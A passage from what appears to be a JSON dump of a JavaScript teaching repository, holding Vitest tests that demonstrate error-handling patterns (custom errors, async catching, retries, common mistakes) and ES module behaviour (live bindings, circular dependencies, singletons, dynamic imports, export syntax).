\n  // ============================================================\n  // CUSTOM ERROR CLASSES\n  // ============================================================\n  \n  describe('Custom Error Classes', () => {\n    it('should create custom error classes', () => {\n      // From: Custom error classes for better categorization\n      class ValidationError extends Error {\n        constructor(message) {\n          super(message)\n          this.name = 'ValidationError'\n        }\n      }\n      \n      const error = new ValidationError('Invalid email')\n      \n      expect(error.name).toBe('ValidationError')\n      expect(error.message).toBe('Invalid email')\n      expect(error instanceof ValidationError).toBe(true)\n      expect(error instanceof Error).toBe(true)\n    })\n    \n    it('should support auto-naming pattern', () => {\n      // From: The Auto-Naming Pattern\n      class AppError extends Error {\n        constructor(message, options) {\n          super(message, options)\n          this.name = this.constructor.name\n        }\n      }\n      \n      class ValidationError extends AppError {}\n      class NetworkError extends AppError {}\n      \n      const validationError = new ValidationError('Bad input')\n      const networkError = new NetworkError('Connection failed')\n      \n      expect(validationError.name).toBe('ValidationError')\n      expect(networkError.name).toBe('NetworkError')\n    })\n    \n    it('should add custom properties to error classes', () => {\n      class NetworkError extends Error {\n        constructor(message, statusCode) {\n          super(message)\n          this.name = 'NetworkError'\n          this.statusCode = statusCode\n        }\n      }\n      \n      const error = new NetworkError('Not found', 404)\n      \n      expect(error.message).toBe('Not found')\n      expect(error.statusCode).toBe(404)\n    })\n    \n    it('should use instanceof for error type checking', () => {\n      // From: Using instanceof for Error Handling\n      class ValidationError extends Error {\n        constructor(message) {\n          super(message)\n          this.name = 'ValidationError'\n        }\n      }\n      \n      class NetworkError extends Error {\n        constructor(message) {\n          super(message)\n          this.name = 'NetworkError'\n        }\n      }\n      \n      const errors = [\n        new ValidationError('Bad input'),\n        new NetworkError('Offline'),\n        new Error('Unknown')\n      ]\n      \n      const results = errors.map(error => {\n        if (error instanceof ValidationError) return 'validation'\n        if (error instanceof NetworkError) return 'network'\n        return 'unknown'\n      })\n      \n      expect(results).toEqual(['validation', 'network', 'unknown'])\n    })\n    \n    it('should chain errors with cause', () => {\n      // From: Error Chaining with cause\n      class DataLoadError extends Error {\n        constructor(message, options) {\n          super(message, options)\n          this.name = 'DataLoadError'\n        }\n      }\n      \n      const originalError = new Error('Network timeout')\n      const wrappedError = new DataLoadError('Failed to load user data', { \n        cause: originalError \n      })\n      \n      expect(wrappedError.cause).toBe(originalError)\n      expect(wrappedError.cause.message).toBe('Network timeout')\n    })\n  })\n  \n  // ============================================================\n  // ASYNC ERROR HANDLING\n  // ============================================================\n  \n  describe('Async Error Handling', () => {\n    it('should catch Promise rejections with .catch()', async () => {\n      // From: With Promises: .catch()\n      const result = await Promise.reject(new Error('Failed'))\n        .catch(error => `Caught: ${error.message}`)\n      \n      expect(result).toBe('Caught: Failed')\n    })\n    \n    it('should catch async/await errors with try/catch', async () => {\n      // From: With async/await: try/catch\n      async function failingOperation() {\n        throw new Error('Async failure')\n      }\n      \n      let caught = null\n      \n      try {\n        await failingOperation()\n      } catch (error) {\n        caught = error.message\n      }\n      \n      expect(caught).toBe('Async failure')\n    })\n    \n    it('should run .finally() regardless of outcome', async () => {\n      const order = []\n      \n      // Success case\n      await Promise.resolve('success')\n        .then(v => { order.push('then') })\n        .finally(() => { order.push('finally-success') })\n      \n      // Failure case\n      await Promise.reject(new Error('fail'))\n        .catch(e => { order.push('catch') })\n        .finally(() => { order.push('finally-fail') })\n      \n      expect(order).toEqual(['then', 'finally-success', 'catch', 'finally-fail'])\n    })\n    \n    it('should demonstrate try/catch only catches synchronous errors', async () => {\n      // From: try/catch Only Works Synchronously\n      const order = []\n      \n      try {\n        setTimeout(() => {\n          order.push('timeout executed')\n          // If we threw here, try/catch wouldn't catch it\n        }, 0)\n        order.push('after setTimeout')\n      } catch (error) {\n        order.push('catch')\n      }\n      \n      expect(order).toEqual(['after setTimeout'])\n      \n      // Let setTimeout execute\n      await new Promise(resolve => setTimeout(resolve, 10))\n      \n      expect(order).toEqual(['after setTimeout', 'timeout executed'])\n    })\n  })\n  \n  // ============================================================\n  // GLOBAL ERROR HANDLERS (Not Tested - Browser-Specific)\n  // ============================================================\n  // \n  // The following patterns from the concept page are browser-specific\n  // and cannot be tested in a Node.js/Vitest environment:\n  // \n  // - window.onerror = function(message, source, lineno, colno, error) { ... }\n  //   Catches uncaught synchronous errors in the browser\n  // \n  // - window.addEventListener('unhandledrejection', event => { ... })\n  //   Catches unhandled Promise rejections in the browser\n  // \n  // These are documented in the concept page (lines 531-557) for browser usage.\n  // In production, these are typically used for:\n  //   - Logging errors to services like Sentry or LogRocket\n  //   - Showing generic \"something went wrong\" messages\n  //   - Tracking errors in production environments\n  // \n  // They should be used as a safety net, not as primary error handling.\n  // ============================================================\n  \n  // ============================================================\n  // COMMON MISTAKES\n  // ============================================================\n  \n  describe('Common Mistakes', () => {\n    it('Mistake 1: Empty catch blocks swallow errors', () => {\n      // From: Empty catch Blocks (Swallowing Errors)\n      let errorLogged = false\n      \n      // Bad: error is silently swallowed\n      try {\n        throw new Error('Silent error')\n      } catch (error) {\n        // Empty - bad practice\n      }\n      \n      // Good: at least log the error\n      try {\n        throw new Error('Logged error')\n      } catch (error) {\n        errorLogged = true\n        // console.error('Error:', error) in real code\n      }\n      \n      expect(errorLogged).toBe(true)\n    })\n    \n    it('Mistake 2: Catching too broadly hides bugs', () => {\n      // From: Catching Too Broadly\n      function parseWithBugHidden(input) {\n        try {\n          const result = JSON.parse(input)\n          // Bug: typo in variable name would be hidden\n          return result\n        } catch (error) {\n          return 'Something went wrong'\n        }\n      }\n      \n      function parseCorrectly(input) {\n        try {\n          return JSON.parse(input)\n        } catch (error) {\n          if (error instanceof SyntaxError) {\n            return null  // Expected case\n          }\n          throw error  // Unexpected: re-throw\n        }\n      }\n      \n      expect(parseWithBugHidden('{ invalid }')).toBe('Something went wrong')\n      expect(parseCorrectly('{ invalid }')).toBe(null)\n      expect(parseCorrectly('{\"valid\": true}')).toEqual({ valid: true })\n    })\n    \n    it('Mistake 3: Throwing strings instead of Error objects', () => {\n      // From: Throwing Strings Instead of Errors\n      \n      // Bad: no stack trace\n      try {\n        throw 'String error'\n      } catch (error) {\n        expect(typeof error).toBe('string')\n        expect(error.stack).toBeUndefined()\n      }\n      \n      // Good: has stack trace\n      try {\n        throw new Error('Error object')\n      } catch (error) {\n        expect(error instanceof Error).toBe(true)\n        expect(error.stack).toBeDefined()\n      }\n    })\n    \n    it('Mistake 4: Not re-throwing when needed', async () => {\n      // From: Not Re-throwing When Needed\n      \n      // Bad: returns undefined, caller thinks success\n      async function badFetch() {\n        try {\n          throw new Error('Network error')\n        } catch (error) {\n          // Just logs, doesn't re-throw or return meaningful value\n        }\n      }\n      \n      // Good: re-throws for caller to handle\n      async function goodFetch() {\n        try {\n          throw new Error('Network error')\n        } catch (error) {\n          throw error  // Let caller decide what to do\n        }\n      }\n      \n      const badResult = await badFetch()\n      expect(badResult).toBeUndefined()  // Silent failure!\n      \n      await expect(goodFetch()).rejects.toThrow('Network error')\n    })\n    \n    it('Mistake 5: Expecting try/catch to catch async callback errors', async () => {\n      // From: Forgetting try/catch is Synchronous\n      let syncCaughtError = null\n      let callbackError = null\n      \n      // This catch won't catch the setTimeout error\n      try {\n        setTimeout(() => {\n          try {\n            throw new Error('Callback error')\n          } catch (e) {\n            callbackError = e.message\n          }\n        }, 0)\n      } catch (error) {\n        syncCaughtError = error.message\n      }\n      \n      expect(syncCaughtError).toBeNull()  // Sync catch doesn't catch async\n      \n      await new Promise(resolve => setTimeout(resolve, 10))\n      \n      expect(callbackError).toBe('Callback error')  // Inner catch works\n    })\n  })\n  \n  // ============================================================\n  // REAL-WORLD PATTERNS\n  // ============================================================\n  \n  describe('Real-World Patterns', () => {\n    beforeEach(() => {\n      vi.useFakeTimers()\n    })\n    \n    afterEach(() => {\n      vi.useRealTimers()\n    })\n    \n    it('should implement retry pattern', async () => {\n      // From: Retry Pattern\n      let attempts = 0\n      \n      async function flakyOperation() {\n        attempts++\n        if (attempts < 3) {\n          throw new Error('Temporary failure')\n        }\n        return 'success'\n      }\n      \n      async function fetchWithRetry(operation, retries = 3) {\n        for (let i = 0; i < retries; i++) {\n          try {\n            return await operation()\n          } catch (error) {\n            if (i === retries - 1) throw error\n            await new Promise(r => setTimeout(r, 100 * Math.pow(2, i)))\n          }\n        }\n      }\n      \n      const promise = fetchWithRetry(flakyOperation, 3)\n      \n      // First attempt fails\n      await vi.advanceTimersByTimeAsync(0)\n      expect(attempts).toBe(1)\n      \n      // Wait for first retry (100ms)\n      await vi.advanceTimersByTimeAsync(100)\n      expect(attempts).toBe(2)\n      \n      // Wait for second retry (200ms)\n      await vi.advanceTimersByTimeAsync(200)\n      expect(attempts).toBe(3)\n      \n      const result = await promise\n      expect(result).toBe('success')\n    })\n    \n    it('should implement validation error pattern', () => {\n      // From: Validation Error Pattern\n      class ValidationError extends Error {\n        constructor(errors) {\n          super('Validation failed')\n          this.name = 'ValidationError'\n          this.errors = errors\n        }\n      }\n      \n      function validateUser(data) {\n        const errors = {}\n        \n        if (!data.email?.includes('@')) {\n          errors.email = 'Invalid email address'\n        }\n        if (data.age < 0) {\n          errors.age = 'Age must be positive'\n        }\n        \n        if (Object.keys(errors).length > 0) {\n          throw new ValidationError(errors)\n        }\n        \n        return true\n      }\n      \n      // Valid data\n      expect(validateUser({ email: 'test@example.com', age: 25 })).toBe(true)\n      \n      // Invalid data\n      try {\n        validateUser({ email: 'invalid', age: -5 })\n      } catch (error) {\n        expect(error instanceof ValidationError).toBe(true)\n        expect(error.errors.email).toBe('Invalid email address')\n        expect(error.errors.age).toBe('Age must be positive')\n      }\n    })\n    \n    it('should implement graceful degradation', async () => {\n      // From: Graceful Degradation\n      let apiCalled = false\n      let cacheCalled = false\n      \n      async function fetchFromApi() {\n        apiCalled = true\n        throw new Error('API unavailable')\n      }\n      \n      async function loadFromCache() {\n        cacheCalled = true\n        return { cached: true }\n      }\n      \n      async function loadUserPreferences() {\n        try {\n          return await fetchFromApi()\n        } catch (apiError) {\n          try {\n            return await loadFromCache()\n          } catch (cacheError) {\n            return { theme: 'light', language: 'en' }  // Defaults\n          }\n        }\n      }\n      \n      const result = await loadUserPreferences()\n      \n      expect(apiCalled).toBe(true)\n      expect(cacheCalled).toBe(true)\n      expect(result).toEqual({ cached: true })\n    })\n  })\n  \n  // ============================================================\n  // RETHROWING ERRORS\n  // ============================================================\n  \n  describe('Rethrowing Errors', () => {\n    it('should rethrow errors you cannot handle', () => {\n      // From: Catch should only process errors that it knows\n      function parseUserData(json) {\n        try {\n          return JSON.parse(json)\n        } catch (error) {\n          if (error instanceof SyntaxError) {\n            // We know how to handle this\n            return null\n          }\n          // Unknown error, rethrow\n          throw error\n        }\n      }\n      \n      expect(parseUserData('{\"name\": \"John\"}')).toEqual({ name: 'John' })\n      expect(parseUserData('invalid')).toBeNull()\n    })\n    \n    it('should wrap errors with additional context', () => {\n      function processOrder(order) {\n        try {\n          if (!order.items) {\n            throw new Error('Order has no items')\n          }\n          return { processed: true }\n        } catch (error) {\n          throw new Error(`Failed to process order ${order.id}`, { cause: error })\n        }\n      }\n      \n      try {\n        processOrder({ id: '123' })\n      } catch (error) {\n        expect(error.message).toBe('Failed to process order 123')\n        expect(error.cause.message).toBe('Order has no items')\n      }\n    })\n  })\n  \n  // ============================================================\n  // SCOPING IN TRY/CATCH\n  // ============================================================\n  \n  describe('Variable Scoping in try/catch', () => {\n    it('should demonstrate variable scoping issue', () => {\n      // From: Test Your Knowledge Question 6\n      \n      // Wrong: result is scoped to try block\n      let wrongResult\n      try {\n        const result = 'value'\n        wrongResult = result\n      } catch (e) {\n        // handle error\n      }\n      // console.log(result) would throw ReferenceError\n      \n      // Correct: declare outside try block\n      let correctResult\n      try {\n        correctResult = 'value'\n      } catch (e) {\n        correctResult = 'fallback'\n      }\n      \n      expect(correctResult).toBe('value')\n    })\n    \n    it('should use fallback value when error occurs', () => {\n      let result\n      \n      try {\n        result = JSON.parse('invalid')\n      } catch (e) {\n        result = { fallback: true }\n      }\n      \n      expect(result).toEqual({ fallback: true })\n    })\n  })\n})\n"
  },
  {
    "path": "tests/advanced-topics/es-modules/es-modules.test.js",
    "content": "import { describe, it, expect, vi } from 'vitest'\n\ndescribe('ES Modules', () => {\n  // ===========================================\n  // Part 1: Live Bindings\n  // ===========================================\n\n  describe('Part 1: Live Bindings', () => {\n    describe('ESM Live Bindings vs CommonJS Value Copies', () => {\n      it('should demonstrate CommonJS-style value copy behavior', () => {\n        // CommonJS exports copies of primitive values at require time\n        // Simulating: module.exports = { count, increment, getCount }\n        \n        function createCommonJSModule() {\n          let count = 0\n          function increment() { count++ }\n          function getCount() { return count }\n          \n          // CommonJS exports a snapshot (copy) of the value\n          return { count, increment, getCount }\n        }\n        \n        const { count, increment, getCount } = createCommonJSModule()\n        \n        expect(count).toBe(0)\n        increment()\n        expect(count).toBe(0)        // Still 0! It's a copy from export time\n        expect(getCount()).toBe(1)   // Function reads the real internal value\n      })\n\n      it('should demonstrate ESM-style live binding behavior', () => {\n        // ESM exports live references - changes are visible to importers\n        // Simulating with an object that acts as a module namespace\n        \n        function createESMModule() {\n          const moduleNamespace = {\n            count: 0,\n            increment() { \n              moduleNamespace.count++ \n            }\n          }\n          return moduleNamespace\n        }\n        \n        const mod = createESMModule()\n        \n        expect(mod.count).toBe(0)\n        mod.increment()\n        expect(mod.count).toBe(1)  // Live binding reflects the change!\n        mod.increment()\n        expect(mod.count).toBe(2)  // Still updating\n      })\n\n      it('should show live bindings work with objects', () => {\n        // Even with objects, ESM bindings are live references\n        const moduleState = {\n          user: null,\n          setUser(u) { moduleState.user = u },\n          getUser() { return moduleState.user }\n        }\n        \n        expect(moduleState.user).toBe(null)\n        \n        moduleState.setUser({ name: 'Alice' })\n        expect(moduleState.user).toEqual({ name: 'Alice' })  // Live!\n        \n        moduleState.setUser({ name: 'Bob' })\n        expect(moduleState.user).toEqual({ name: 'Bob' })    // Updated!\n      })\n\n      it('should demonstrate singleton state via live bindings', () => {\n        // All importers share the same module state\n        const sharedModule = (() => {\n          let state = { count: 0 }\n          return {\n            getState: () => state,\n            increment: () => { state.count++ }\n          }\n        })()\n        \n        // Simulate two different \"importers\"\n        const importer1 = sharedModule\n        const importer2 = sharedModule\n        \n        importer1.increment()\n        expect(importer1.getState().count).toBe(1)\n        expect(importer2.getState().count).toBe(1)  // Same state!\n        \n        importer2.increment()\n        expect(importer1.getState().count).toBe(2)  // Both see the update\n        expect(importer2.getState().count).toBe(2)\n      })\n    })\n\n    describe('Why Live Bindings Matter', () => {\n      it('should enable proper state management across module boundaries', () => {\n        // Auth module that multiple parts of an app might import\n        const authModule = (() => {\n          let currentUser = null\n          let isAuthenticated = false\n          \n          return {\n            get currentUser() { return currentUser },\n            get isAuthenticated() { return isAuthenticated },\n            login(user) {\n              currentUser = user\n              isAuthenticated = true\n            },\n            logout() {\n              currentUser = null\n              isAuthenticated = false\n            }\n          }\n        })()\n        \n        // Header component checks auth\n        expect(authModule.isAuthenticated).toBe(false)\n        \n        // Login form logs in\n        authModule.login({ name: 'Alice', email: 'alice@test.com' })\n        \n        // Header immediately sees the change (live binding)\n        expect(authModule.isAuthenticated).toBe(true)\n        expect(authModule.currentUser.name).toBe('Alice')\n        \n        // Logout button logs out\n        authModule.logout()\n        \n        // All components see the change\n        expect(authModule.isAuthenticated).toBe(false)\n        expect(authModule.currentUser).toBe(null)\n      })\n    })\n  })\n\n  // ===========================================\n  // Part 2: Read-Only Imports\n  // ===========================================\n\n  describe('Part 2: Read-Only Imports', () => {\n    describe('Imported bindings cannot be reassigned', () => {\n      it('should demonstrate that imports are read-only (simulated with Object.defineProperty)', () => {\n        // ESM imports are read-only - you can't reassign them\n        // We simulate this with a frozen/non-writable property\n        \n        const moduleExports = {}\n        Object.defineProperty(moduleExports, 'count', {\n          value: 0,\n          writable: false,\n          enumerable: true\n        })\n        \n        expect(moduleExports.count).toBe(0)\n        \n        // Attempting to reassign throws in strict mode\n        expect(() => {\n          'use strict'\n          moduleExports.count = 10\n        }).toThrow(TypeError)\n      })\n\n      it('should show that const-like behavior applies to all imports', () => {\n        // Even if the source uses `let`, importers can't reassign\n        const createModule = () => {\n          let value = 'original'  // let in source module\n          return {\n            get value() { return value },\n            setValue(v) { value = v }  // only module can change it\n          }\n        }\n        \n        const mod = createModule()\n        \n        // Importer can read\n        expect(mod.value).toBe('original')\n        \n        // Importer can call methods that modify (module modifies itself)\n        mod.setValue('updated')\n        expect(mod.value).toBe('updated')\n        \n        // But direct assignment to the binding would fail in real ESM\n        // import { value } from './mod.js'\n        // value = 'hack'  // TypeError: Assignment to constant variable\n      })\n\n      it('should allow modification of imported object properties', () => {\n        // You can't reassign the import, but you CAN modify object properties\n        const configModule = {\n          config: {\n            theme: 'light',\n            debug: false\n          }\n        }\n        \n        // Can't do: config = newObject (would throw)\n        // But CAN do: config.theme = 'dark'\n        \n        configModule.config.theme = 'dark'\n        expect(configModule.config.theme).toBe('dark')\n        \n        configModule.config.debug = true\n        expect(configModule.config.debug).toBe(true)\n      })\n    })\n  })\n\n  // ===========================================\n  // Part 3: Circular Dependencies and TDZ\n  // ===========================================\n\n  describe('Part 3: Circular Dependencies and TDZ', () => {\n    describe('Temporal Dead Zone (TDZ) with const/let', () => {\n      it('should throw ReferenceError when accessing const before initialization', () => {\n        expect(() => {\n          // This simulates what happens in a circular dependency\n          // when module B tries to access a const from module A\n          // before A has finished executing\n          \n          const accessBeforeInit = () => {\n            console.log(value)  // Accessing before declaration\n            const value = 'initialized'\n          }\n          accessBeforeInit()\n        }).toThrow(ReferenceError)\n      })\n\n      it('should throw ReferenceError when accessing let before initialization', () => {\n        expect(() => {\n          const accessBeforeInit = () => {\n            console.log(value)  // TDZ - ReferenceError\n            let value = 'initialized'\n          }\n          accessBeforeInit()\n        }).toThrow(ReferenceError)\n      })\n\n      it('should NOT throw with var (hoisted with undefined)', () => {\n        // var is hoisted and initialized to undefined\n        // This is why old circular dependency examples showed 'undefined'\n        let result\n        \n        const accessVarBeforeInit = () => {\n          result = value  // undefined, not an error\n          var value = 'initialized'\n        }\n        \n        accessVarBeforeInit()\n        expect(result).toBe(undefined)  // var is hoisted as undefined\n      })\n    })\n\n    describe('Circular Dependency Patterns', () => {\n      it('should demonstrate safe circular dependency with deferred access', () => {\n        // Safe pattern: export functions that access values at call time\n        \n        const moduleA = {\n          value: null,\n          getValue: () => moduleA.value,\n          init: () => { moduleA.value = 'A initialized' }\n        }\n        \n        const moduleB = {\n          value: null,\n          getValue: () => moduleB.value,\n          getAValue: () => moduleA.getValue(),  // Deferred access\n          init: () => { moduleB.value = 'B initialized' }\n        }\n        \n        // Simulate circular initialization\n        // B tries to access A.value before A.init() runs\n        expect(moduleB.getAValue()).toBe(null)  // A not initialized yet\n        \n        moduleA.init()\n        expect(moduleB.getAValue()).toBe('A initialized')  // Now it works\n        \n        moduleB.init()\n        expect(moduleB.getValue()).toBe('B initialized')\n      })\n\n      it('should show how to restructure to avoid circular deps', () => {\n        // Instead of A importing B and B importing A,\n        // create a shared module C that both import\n        \n        const sharedModule = {\n          sharedConfig: { apiUrl: 'https://api.example.com' },\n          sharedUtil: (x) => x.toUpperCase()\n        }\n        \n        const moduleA = {\n          config: sharedModule.sharedConfig,\n          formatName: (name) => sharedModule.sharedUtil(name)\n        }\n        \n        const moduleB = {\n          config: sharedModule.sharedConfig,\n          formatTitle: (title) => sharedModule.sharedUtil(title)\n        }\n        \n        // No circular dependency - both depend on shared module\n        expect(moduleA.formatName('alice')).toBe('ALICE')\n        expect(moduleB.formatTitle('hello')).toBe('HELLO')\n        expect(moduleA.config).toBe(moduleB.config)  // Same reference\n      })\n    })\n  })\n\n  // ===========================================\n  // Part 4: Module Singleton Behavior\n  // ===========================================\n\n  describe('Part 4: Module Singleton Behavior', () => {\n    describe('Module code executes exactly once', () => {\n      it('should only run initialization code once', () => {\n        let initCount = 0\n        \n        // Simulating a module that runs initialization code\n        const createSingletonModule = (() => {\n          initCount++  // This runs once when module loads\n          \n          return {\n            getValue: () => 'module value',\n            getInitCount: () => initCount\n          }\n        })()\n        \n        // Multiple \"imports\" all get the same instance\n        const import1 = createSingletonModule\n        const import2 = createSingletonModule\n        const import3 = createSingletonModule\n        \n        expect(initCount).toBe(1)  // Only ran once\n        expect(import1).toBe(import2)\n        expect(import2).toBe(import3)\n      })\n\n      it('should share state across all importers', () => {\n        const cacheModule = (() => {\n          const cache = new Map()\n          console.log('Cache module initialized')  // Runs once\n          \n          return {\n            set: (key, value) => cache.set(key, value),\n            get: (key) => cache.get(key),\n            size: () => cache.size\n          }\n        })()\n        \n        // Different \"files\" using the cache\n        // file1.js\n        cacheModule.set('user', { id: 1 })\n        \n        // file2.js - sees the same cache\n        expect(cacheModule.get('user')).toEqual({ id: 1 })\n        \n        // file3.js - also same cache\n        cacheModule.set('token', 'abc123')\n        \n        expect(cacheModule.size()).toBe(2)\n      })\n\n      it('should maintain singleton even with different import styles', () => {\n        // Whether you use named imports, default import, or namespace import,\n        // you get the same module instance\n        \n        const mathModule = (() => {\n          const moduleId = Math.random()  // Generated once\n          \n          return {\n            moduleId,\n            PI: 3.14159,\n            add: (a, b) => a + b,\n            default: function Calculator() {\n              this.result = 0\n            }\n          }\n        })()\n        \n        // import { add, PI } from './math.js'\n        const { add, PI } = mathModule\n        \n        // import * as math from './math.js'\n        const math = mathModule\n        \n        // import Calculator from './math.js'\n        const Calculator = mathModule.default\n        \n        // All reference the same module\n        expect(math.PI).toBe(PI)\n        expect(math.add).toBe(add)\n        expect(math.moduleId).toBe(mathModule.moduleId)\n      })\n    })\n  })\n\n  // ===========================================\n  // Part 5: Dynamic Imports\n  // ===========================================\n\n  describe('Part 5: Dynamic Imports', () => {\n    describe('import() returns a Promise', () => {\n      it('should resolve to module namespace object', async () => {\n        // Simulating dynamic import behavior\n        const mockModule = {\n          namedExport: 'named value',\n          anotherExport: 42,\n          default: function DefaultExport() { return 'default' }\n        }\n        \n        const dynamicImport = () => Promise.resolve(mockModule)\n        \n        const module = await dynamicImport()\n        \n        expect(module.namedExport).toBe('named value')\n        expect(module.anotherExport).toBe(42)\n        expect(module.default()).toBe('default')\n      })\n\n      it('should allow destructuring named exports', async () => {\n        const mockDateModule = {\n          formatDate: (d) => d.toISOString(),\n          parseDate: (s) => new Date(s)\n        }\n        \n        const dynamicImport = () => Promise.resolve(mockDateModule)\n        \n        // Destructure directly from await\n        const { formatDate, parseDate } = await dynamicImport()\n        \n        expect(typeof formatDate).toBe('function')\n        expect(typeof parseDate).toBe('function')\n      })\n\n      it('should access default export via .default property', async () => {\n        const mockModule = {\n          default: class Logger {\n            log(msg) { return `[LOG] ${msg}` }\n          }\n        }\n        \n        const dynamicImport = () => Promise.resolve(mockModule)\n        \n        // Method 1: Destructure with rename\n        const { default: Logger } = await dynamicImport()\n        const logger1 = new Logger()\n        expect(logger1.log('test')).toBe('[LOG] test')\n        \n        // Method 2: Access .default property\n        const module = await dynamicImport()\n        const Logger2 = module.default\n        const logger2 = new Logger2()\n        expect(logger2.log('hello')).toBe('[LOG] hello')\n      })\n    })\n\n    describe('Dynamic Import Use Cases', () => {\n      it('should enable conditional module loading', async () => {\n        const modules = {\n          light: { theme: 'light', bg: '#fff', text: '#000' },\n          dark: { theme: 'dark', bg: '#000', text: '#fff' }\n        }\n        \n        async function loadTheme(themeName) {\n          // Simulating: const theme = await import(`./themes/${themeName}.js`)\n          return Promise.resolve(modules[themeName])\n        }\n        \n        const lightTheme = await loadTheme('light')\n        expect(lightTheme.bg).toBe('#fff')\n        \n        const darkTheme = await loadTheme('dark')\n        expect(darkTheme.bg).toBe('#000')\n      })\n\n      it('should enable route-based code splitting', async () => {\n        const pageModules = {\n          home: { default: () => 'Home Page Content' },\n          about: { default: () => 'About Page Content' },\n          contact: { default: () => 'Contact Page Content' }\n        }\n        \n        async function loadPage(pageName) {\n          // Simulating route-based dynamic import\n          const pageModule = await Promise.resolve(pageModules[pageName])\n          return pageModule.default\n        }\n        \n        const HomePage = await loadPage('home')\n        expect(HomePage()).toBe('Home Page Content')\n        \n        const AboutPage = await loadPage('about')\n        expect(AboutPage()).toBe('About Page Content')\n      })\n\n      it('should enable lazy loading of heavy features', async () => {\n        let chartLibraryLoaded = false\n        \n        const heavyChartLibrary = {\n          Chart: class {\n            constructor(data) {\n              chartLibraryLoaded = true\n              this.data = data\n            }\n            render() {\n              return `Chart with ${this.data.length} points`\n            }\n          }\n        }\n        \n        async function showChart(data) {\n          // Only load chart library when actually needed\n          const { Chart } = await Promise.resolve(heavyChartLibrary)\n          const chart = new Chart(data)\n          return chart.render()\n        }\n        \n        expect(chartLibraryLoaded).toBe(false)  // Not loaded yet\n        \n        const result = await showChart([1, 2, 3, 4, 5])\n        \n        expect(chartLibraryLoaded).toBe(true)   // Now loaded\n        expect(result).toBe('Chart with 5 points')\n      })\n\n      it('should work with Promise.all for parallel loading', async () => {\n        const modules = {\n          header: { render: () => '<header>Header</header>' },\n          footer: { render: () => '<footer>Footer</footer>' },\n          sidebar: { render: () => '<aside>Sidebar</aside>' }\n        }\n        \n        async function loadComponents() {\n          const [header, footer, sidebar] = await Promise.all([\n            Promise.resolve(modules.header),\n            Promise.resolve(modules.footer),\n            Promise.resolve(modules.sidebar)\n          ])\n          \n          return { header, footer, sidebar }\n        }\n        \n        const components = await loadComponents()\n        \n        expect(components.header.render()).toBe('<header>Header</header>')\n        expect(components.footer.render()).toBe('<footer>Footer</footer>')\n        expect(components.sidebar.render()).toBe('<aside>Sidebar</aside>')\n      })\n    })\n\n    describe('Error Handling with Dynamic Imports', () => {\n      it('should handle module not found errors', async () => {\n        const loadModule = (name) => {\n          if (name === 'nonexistent') {\n            return Promise.reject(new Error('Module not found'))\n          }\n          return Promise.resolve({ value: 'found' })\n        }\n        \n        // Successful load\n        const mod = await loadModule('existing')\n        expect(mod.value).toBe('found')\n        \n        // Failed load\n        await expect(loadModule('nonexistent')).rejects.toThrow('Module not found')\n      })\n\n      it('should use try-catch for error handling', async () => {\n        const loadModule = () => Promise.reject(new Error('Network error'))\n        \n        let errorHandled = false\n        let fallbackUsed = false\n        \n        try {\n          await loadModule()\n        } catch (error) {\n          errorHandled = true\n          // Use fallback\n          fallbackUsed = true\n        }\n        \n        expect(errorHandled).toBe(true)\n        expect(fallbackUsed).toBe(true)\n      })\n    })\n  })\n\n  // ===========================================\n  // Part 6: Export and Import Syntax Variations\n  // ===========================================\n\n  describe('Part 6: Export and Import Syntax Variations', () => {\n    describe('Named Exports', () => {\n      it('should support inline named exports', () => {\n        // export const PI = 3.14159\n        // export function square(x) { return x * x }\n        // export class Circle { }\n        \n        const moduleExports = {}\n        \n        moduleExports.PI = 3.14159\n        moduleExports.square = function(x) { return x * x }\n        moduleExports.Circle = class {\n          constructor(radius) { this.radius = radius }\n          area() { return moduleExports.PI * this.radius ** 2 }\n        }\n        \n        expect(moduleExports.PI).toBe(3.14159)\n        expect(moduleExports.square(4)).toBe(16)\n        \n        const circle = new moduleExports.Circle(5)\n        expect(circle.area()).toBeCloseTo(78.54, 1)\n      })\n\n      it('should support grouped exports at bottom', () => {\n        // const PI = 3.14159\n        // function square(x) { return x * x }\n        // export { PI, square }\n        \n        const PI = 3.14159\n        function square(x) { return x * x }\n        \n        const exports = { PI, square }\n        \n        expect(exports.PI).toBe(3.14159)\n        expect(exports.square(5)).toBe(25)\n      })\n\n      it('should support renaming exports with as', () => {\n        // function internalHelper() { }\n        // export { internalHelper as helper }\n        \n        function internalHelper() { return 'helped' }\n        function _privateUtil() { return 'util' }\n        \n        const exports = {\n          helper: internalHelper,\n          publicUtil: _privateUtil\n        }\n        \n        expect(exports.helper()).toBe('helped')\n        expect(exports.publicUtil()).toBe('util')\n        expect(exports.internalHelper).toBe(undefined)  // Not exported under original name\n      })\n    })\n\n    describe('Default Exports', () => {\n      it('should support default export of function', () => {\n        // export default function greet(name) { }\n        \n        function greet(name) { return `Hello, ${name}!` }\n        const moduleExports = { default: greet }\n        \n        // import greet from './greet.js'\n        const importedGreet = moduleExports.default\n        expect(importedGreet('World')).toBe('Hello, World!')\n      })\n\n      it('should support default export of class', () => {\n        // export default class User { }\n        \n        class User {\n          constructor(name) { this.name = name }\n          greet() { return `Hi, I'm ${this.name}` }\n        }\n        \n        const moduleExports = { default: User }\n        \n        // import User from './user.js'\n        const ImportedUser = moduleExports.default\n        const user = new ImportedUser('Alice')\n        expect(user.greet()).toBe(\"Hi, I'm Alice\")\n      })\n\n      it('should support default export of object/value', () => {\n        // export default { name: 'Config', version: '1.0' }\n        \n        const moduleExports = {\n          default: {\n            name: 'Config',\n            version: '1.0.0',\n            debug: false\n          }\n        }\n        \n        // import config from './config.js'\n        const config = moduleExports.default\n        expect(config.name).toBe('Config')\n        expect(config.version).toBe('1.0.0')\n      })\n    })\n\n    describe('Mixed Named and Default Exports', () => {\n      it('should support both default and named exports', () => {\n        // export default function React() { }\n        // export function useState() { }\n        // export function useEffect() { }\n        \n        function React() { return 'React' }\n        function useState(initial) { return [initial, () => {}] }\n        function useEffect(fn) { fn() }\n        \n        const moduleExports = {\n          default: React,\n          useState,\n          useEffect\n        }\n        \n        // import React, { useState, useEffect } from 'react'\n        const ImportedReact = moduleExports.default\n        const { useState: importedUseState, useEffect: importedUseEffect } = moduleExports\n        \n        expect(ImportedReact()).toBe('React')\n        expect(importedUseState(0)).toEqual([0, expect.any(Function)])\n      })\n    })\n\n    describe('Import Variations', () => {\n      it('should support named imports with exact names', () => {\n        // import { PI, square } from './math.js'\n        \n        const mathModule = {\n          PI: 3.14159,\n          square: (x) => x * x,\n          cube: (x) => x * x * x\n        }\n        \n        const { PI, square } = mathModule\n        \n        expect(PI).toBe(3.14159)\n        expect(square(3)).toBe(9)\n      })\n\n      it('should 